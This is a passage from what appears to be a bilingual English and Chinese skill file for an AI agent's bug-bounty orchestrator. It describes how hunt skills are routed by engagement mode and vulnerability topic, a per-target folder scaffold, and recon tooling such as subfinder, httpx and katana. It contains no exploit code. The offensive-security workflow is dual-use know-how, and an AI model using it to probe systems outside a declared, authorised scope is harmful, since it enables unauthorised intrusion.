    PART 0 confirms mode (e.g., bug-bounty blackbox)
  3. hunt-dispatch
    loads the platform-specific attack profile
  4. This orchestrator (
    bug-bounty
    ) names the topic-matched hunt-* skills inside the chosen profile
Don't bypass either step. Mode determines what counts as a finding; topic determines what techniques apply.
此技能按漏洞类别(主题匹配)路由。此仓库中添加的
hunt-dispatch
技能按参与模式(红队 vs WAPT,黑盒 vs 灰盒)路由。它们组合使用:
  1. 用户说“挖掘example.com”
  2. bb-methodology
    PART 0确认模式(例如,漏洞赏金黑盒)
  3. hunt-dispatch
    加载平台特定攻击配置文件
  4. 此编排器(
    bug-bounty
    )在所选配置文件中命名匹配主题的hunt-*技能
不要绕过任何步骤。模式决定什么算作发现;主题决定适用什么技术。

Engagement scaffolding

参与脚手架

The
/hunt
slash-command and the
hunt <target>
shell helper (see this repo's
cmd/
directory) pre-create the engagement scaffold:
  • targets/<target>/scope.md
    — declared scope, pasted from the program page
  • targets/<target>/findings/
    — one MD per validated finding
  • targets/<target>/evidence/
    — HARs, screenshots, redacted curl transcripts
  • targets/<target>/submissions.txt
    — log of submitted-report URLs + states
  • targets/<target>/recon/
    — outputs from
    subfinder | dnsx | httpx | katana
Use the scaffold from the start. Half-organized engagements lose findings — a probe result from hour 2 that didn't seem important until hour 14 is unrecoverable if it wasn't logged.
/hunt
斜杠命令和
hunt <target>
shell助手(见此仓库的
cmd/
目录)预先创建参与脚手架:
  • targets/<target>/scope.md
    — 声明范围,从项目页面粘贴
  • targets/<target>/findings/
    — 每个已验证发现一个MD文件
  • targets/<target>/evidence/
    — HARs,截图,编辑后的curl记录
  • targets/<target>/submissions.txt
    — 提交报告URL + 状态日志
  • targets/<target>/recon/
    subfinder | dnsx | httpx | katana
    的输出
从一开始就使用脚手架。半组织的参与会丢失发现 — 第2小时的探针结果在第14小时前似乎不重要,如果没有记录则无法恢复。

When the orchestrator gets it wrong

当编排器出错时

Across 30+ Phase 2 verification tests in this repo, the orchestrator correctly auto-triggered the matching skill in every test — zero misfires. If on a future target the orchestrator misroutes (loads the wrong hunt-* for the topic), the cause is almost always the
description:
frontmatter field on the target skill: a missing keyword that would have matched the user's intent. Fix forward by editing that skill's frontmatter
description:
field to include the missing trigger word. Don't add another layer of dispatch logic; tighten the description.
  • bb-local-toolkit
    — When you need to know which local clone has the tool for a given task. Workflow primitive: this skill is general bug-bounty guidance;
    bb-local-toolkit
    answers the specific "where is jhaddix/SecLists installed on this machine?" question.
在该仓库的30+阶段2验证测试中,编排器在每个测试中都正确自动触发了匹配的技能 — 零误触发。如果未来在某个目标上编排器路由错误(为主题加载了错误的hunt-*),原因几乎总是目标技能上的
description:
前置字段: 缺少匹配用户意图的关键字。通过编辑该技能的前置
description:
字段添加缺少的触发词来向前修复。不要添加另一层调度逻辑;收紧描述。
  • bb-local-toolkit
    — 当你需要知道哪个本地克隆有给定任务的工具时。工作流原语: 此技能是通用漏洞赏金指南;
    bb-local-toolkit
    回答特定问题“这台机器上jhaddix/SecLists安装在哪里?”